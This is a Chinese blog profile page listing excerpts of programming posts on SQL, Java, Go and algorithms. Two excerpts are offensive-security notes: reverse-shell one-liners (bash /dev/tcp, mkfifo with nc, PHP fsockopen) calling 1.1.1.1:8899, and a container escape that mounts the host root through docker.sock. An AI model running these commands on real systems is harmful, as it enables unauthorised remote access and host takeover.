自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(18)
  • 收藏
  • 关注

原创 关于docker in docker的利用

首先判断是否为docker环境,是否存在docker.sock文件,以及判断docker命令是否能够使用来打印主机信息docker -H unix:///host/var/run/docker.sock info反弹shell的环境下无法进入容器终端,无法使用-it进入容器内部启动一个新的容器,虚拟机根目录挂载到容器test目录下 docker -H unix:///host/var/run/docker.sock run -v /:/test ubuntu可以直接对容器使用docker

2022-04-13 21:36:18 3415

原创 反弹shell的方式

bash -c 'exec bash -i &>/dev/tcp/1.1.1.1/8899 <&1'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8899 >/tmp/fphp -r '$sock=fsockopen(getenv("1.1.1.1"),getenv("8899"));exec("/bin/sh -i <&3 >&3 2>&a

2021-05-27 08:46:12 235 1

原创 二叉树的层序遍历

二叉树的层序遍历需要借助队列来实现public List<List<Integer>> levelOrder(TreeNode root) { //如果为空 就直接返回 if (root == null){ return new ArrayList<>(); } // 创建结果集 List<List<Integer>> res = new A

2020-12-14 10:26:55 92

转载 2020-09-25

https://leetcode-cn.com/problems/linked-list-cycle-ii/solution/linked-list-cycle-ii-kuai-man-zhi-zhen-shuang-zhi-/

2020-09-25 14:54:48 80

原创 异常Exception in thread "http-nio-8888-exec-6" java.lang.IllegalStateException: It is illegal to call

Exception in thread “http-nio-8888-exec-6” java.lang.IllegalStateException: It is illegal to callthis method if the current request is not in asynchronous mode (i.e. isAsyncStarted() returns false)原...

2019-11-23 00:20:19 2790

原创 位运算 原码 补码 反码

func main() { fmt.Println(-5^-6) fmt.Println(-2|-4) fmt.Println(-5&-8)}结果 1 -2 -8(-5^-6) : -5 是负数 第一位位符号位 所以是 原码 1000 0101(以八位表示) 反码 (符号位不变其他i相反) 1111 1010 ( 补码)为反码 加一 位 1111 1011-6...

2019-11-17 15:18:31 172

原创 常见约束

#常见约束/*六大约束1 not null:非空约束 用于保证该字段不为空2 default :默认 用于保证该字段有默认值3 primary key 主键 用于保证该字段的唯一性,并且非空4 UNIQUE :唯一 保证该字段的唯一性 可以为空5 cheak :检查约束(mysql不支持)6 FOREIGN key: 限制两个表之间的关系添加约束的时机1 创建表时2 修改表...

2019-11-08 10:02:19 124

原创 mysql表的修改

CREATE table book (id int(11) PRIMARY key ,b_name VARCHAR(11),price DOUBLE,author_id VARCHAR(11),publishDate datetime);desc bookCREATE table author (id int(11) PRIMARY key ,au_name VARCHAR(1...

2019-11-08 10:01:06 99

转载 count(1) ,count(*),count(列名)区别

执行效果:count(1) and count(*)当表的数据量大些时,对表作分析之后,使用count(1)还要比使用count(*)用时多了!从执行计划来看,count(1)和count()的效果是一样的。但是在表做过分析之后,count(1)会比count()的用时少些(1w以内数据量),不过差不了多少。如果count(1)是聚索引,id,那肯定是count(1)快。但是差的很小的...

2019-11-03 15:24:48 302

原创 标量子查询

#标量子查询##where having面SELECT salary from employees where last_name=“abel”SELECT * from employees where salary>(SELECT salaryfrom employeeswhere last_name=‘abel’);#返回job_id于 141号员工相同的,salary 比...

2019-11-01 10:21:29 184

原创 笛卡尔积

#多表查询/*分类 :按年代分类sql99 (不支持全外连接)内连接 : 等值连接 非等值连接 自链接外连接 : 左外连接 右连接 全外连接交叉连接*/SELECT name,boyname from boys,beauty where boys.id=beauty.boyfriend_idSELECT last_name ,department_name from employ...

2019-11-01 10:20:57 113

原创 分组查询

SELECT count(),department_id from employees GROUP BY department_id HAVING count()>2;#按表达式进行分组SELECT count() ,LENGTH(last_name) from employees GROUP BY LENGTH(last_name) HAVING count()>5 ORDER ...

2019-11-01 10:20:29 89

原创 数据库聚合函数(统计函数)

#分组函数 又称统计函数sum求和 avg求平均值 max最大值 min最小值 count统计个数/*特点:1 .sum avg 一般用于处理数值型 max min count 可以处理任何类型2 忽略null值3可以和distinct搭配4统计行数 count(*)5 和分组函数一同查询的字段要求是group by 后的字段*/SELECT sum(id) FROM stu...

2019-10-27 00:13:26 1791 1

原创 mysql的笔记

select length(‘张三丰’);#用于获取参数的字节个数show VARIABLES like ‘%char%’SELECT CONCAT(id,’_’,dept_id) 名字 from stuinfoSELECT UPPER(‘join’)SELECT LOWER(‘Join’)CREATE TABLE student(id int(4) PRIMARY key ,fir...

2019-10-26 22:18:15 71

原创 Java中关于Stream流的一些用法

基本事例 ArrayList<String> list=new ArrayList(); list.add("林青霞"); list.add("张曼玉"); list.add("王祖贤"); list.add("柳岩"); list.add("张敏"); list.add("朱茵");...

2019-10-26 11:02:09 141

原创 设置守护线程,让finally语句不在继续执行

finally语句一定会执行?Thread thread1 = new Thread(() -> { try { System.out.println("执行try"); TimeUnit.MILLISECONDS.sleep(10); } catch (Exception e)...

2019-10-23 22:36:13 210

原创 map的遍历方法

在这里插入代码片```public class Map4 { static Map<String, Integer> map=new HashMap<String, Integer>(); public static void main(String[] args) { map.put("first",1); map.put("second", 2); m...

2019-10-22 21:59:14 332

原创 jvm 开篇

jvm在java代码中,类型的加载,链接,初始化过程都是在程序的运行期间完成的

2019-09-03 18:21:24 88

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除